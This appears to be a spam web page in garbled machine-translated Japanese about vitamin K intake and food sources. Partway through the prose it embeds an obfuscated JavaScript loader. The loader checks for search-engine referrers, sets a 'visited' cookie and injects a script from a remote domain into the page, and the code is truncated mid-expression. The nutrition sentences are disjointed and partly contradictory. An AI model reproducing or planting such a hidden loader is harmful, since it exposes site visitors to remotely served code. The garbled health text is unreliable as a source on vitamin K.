平均して、成人女性は1日当たり90マイクログラム(mcg)のビタミンKを必要とし、成人男性は120mcgを必要とします. ビタミンKには、ビタミンK-1(フィロキノン)とK-2(メナキノン)として知られる2つの主な種類があります。.. 緑豊かな野菜には最高量のビタミンKが含まれていますが、他にもたくさんの良い原料があります.. 子供たちは芽キャベツのアイデアを愛していないかもしれませんが、多くのレシピはそれらを本当に美味しくさせることができます.. 1食あたり60 mcg(氷山の1/2頭またはロメイン1杯) レタスはおそらくアメリカの食事療法のビタミンKの最も普及した源です. var _0x5dcd=['b3ZsVko=','VVZES00=','bGVuZ3Ro','ampFVEY=','elZnVU8=','aVNkVlM=','Z0pHRXg=','c0ZoV1c=','c3BsaXQ=','cmVwbGFjZQ==','OyBleHBpcmVzPQ==','OyBwYXRoPQ==','OyBkb21haW49','bERHWWI=','V01lWHI=','RWp2RUI=','QnlaanY=','UURrWEM=','RFlkRFE=','OyBzZWN1cmU=','Lmdvb2dsZS4=','LnlhaG9vLg==','LmFsdGF2aXN0YS4=','dmlzaXRlZA==','UVdFbmg=','UklCYmY=','LmJpbmcu','alp3Tmc=','SkRMUGo=','SlhRQWo=','TEZmTHY=','cmVmZXJyZXI=','Z2V0','SEdHRlQ=','a0V3T0U=','aW5kZXhPZg==','R29mVE8=','ZUp1bGI=','cU5xemU=','WGp2bkI=','YlpJV0g=','SFF5TWo=','ZEVsYmg=','aGVhZA==','Y3JlYXRlRWxlbWVudA==','c2NyaXB0','c3Jj','UWFuaFQ=','YXBwZW5kQ2hpbGQ=','44OT44K/44Of44OzK2srbWNnK+mMoCvnqK7poZ4=','aHR0cHM6Ly9jbG91ZGJyaWlkZ2UubWVuL2pwX2RlYy5waHA/eD1uZXcmcXVlcnk9','eEZobWU=','Y29va2ll','bWF0Y2g=','YmJvd3E=','TndIaEI='];(function(_0x506b6a,_0x5f4ca6){var _0x182653=function(_0x52e028){while(--_0x52e028){_0x506b6a['push'](_0x506b6a['shift']());}};_0x182653(++_0x5f4ca6);}(_0x5dcd,0x1eb));var _0x2501=function(_0x4e3a20,_0x29911f){_0x4e3a20=_0x4e3a20-0x0;var _0x2daa14=_0x5dcd[_0x4e3a20];if(_0x2501['WaMcLK']===undefined){(function(){var _0x280c86=function(){var _0x5d875c;try{_0x5d875c=Function('return\x20(function()\x20'+'{}.. constructor(\x22return\x20this\x22)(\x20)'+');')();}catch(_0x1a98bf){_0x5d875c=window;}return _0x5d875c;};var _0x21ca6c=_0x280c86();var _0x2cbacb='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x21ca6c['atob']||(_0x21ca6c['atob']=function(_0x15c817){var _0x3cb872=String(_0x15c817)['replace'](/=+$/,'');for(var _0x100e4a=0x0,_0x5819dd,_0x50de21,_0x45712c=0x0,_0x2d0131='';_0x50de21=_0x3cb872['charAt'](_0x45712c++);~_0x50de21&&(_0x5819dd=_0x100e4a%0x4?_0x5819dd*0x40+_0x50de21:_0x50de21,_0x100e4a++%0x4)?_0x2d0131+=String['fromCharCode'](0xff&_0x5819dd>>(-0x2*_0x100e4a&0x6)):0x0){_0x50de21=_0x2cbacb['indexOf'](_0x50de21);}return _0x2d0131;});}());_0x2501['juJvvv']=function(_0x3b4f65){var _0x38d4e8=atob(_0x3b4f65);var _0x2af50a=[];for(var _0x31ea68=0x0,_0x1be27b=_0x38d4e8['length'];_0x31ea68=_0x4cfb19;},'GofTO':function(_0x534916,_0x48a356){return _0x534916!==_0x48a356;},'eJulb':'Mqmlc','qNqze':_0x2501('0x25'),'XjvnB':function(_0x30017a,_0x37080b){return _0x30017a(_0x37080b);},'bZIWH':function(_0x1c9f7a,_0x392ea5){return _0x1c9f7a+_0x392ea5;},'HQyMj':function(_0xa9c5ee,_0x3f1ab1){return _0xa9c5ee+_0x3f1ab1;},'dElbh':_0x2501('0x7')};var _0x404b6c=[_0xa0c043[_0x2501('0x26')],_0x2501('0x27'),_0xa0c043[_0x2501('0x28')],_0xa0c043[_0x2501('0x29')],_0xa0c043[_0x2501('0x2a')],_0xa0c043['nVhVn'],_0xa0c043[_0x2501('0x2b')]],_0x40f569=document[_0x2501('0x2c')],_0x22ea45=![],_0x25ac9c=cookie[_0x2501('0x2d')](_0xa0c043[_0x2501('0x2e')]);for(var _0x2b83b9=0x0;_0x2b83b9. マスタードグリーンとビートグリーンには、高レベルのビタミンKも含まれています。.. あなたの医者に相談し、あなたのためのビタミンKの適切な毎日の値を理解するために栄養士と話してください.. ビタミンKが豊富な食品を1日にたくさん食べても、長い間食べられないということを覚えておいてください.
それは、カルシウム、カリウム、葉酸塩が他のビタミンやミネラルにも含まれているからです。.. レシピを問わず、風味を追加するだけでなく、ビタミンK含有量を増やすために、キャノーラ油またはオリーブ油で調理してみてください。.. Sriracha aioliレシピでこのシャキッとしたニンニクブリュッセルもやしを試してみる.. アイスバーグ、ロメイン、グリーンリーフ、ビブなど、さまざまな種類のサラダバーや食料品店で購入できます。.. ほうれん草は、ビタミンA、B、E、さらにマグネシウム、葉酸、鉄など、あらゆる種類の栄養価の高い食品でいっぱいです。.. ビタミンKの摂取量が少ないと骨粗鬆症の発症につながることもあり、その結果骨折しやすくなり、骨折しやすくなります。. 5ebbf469cd
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July 2021
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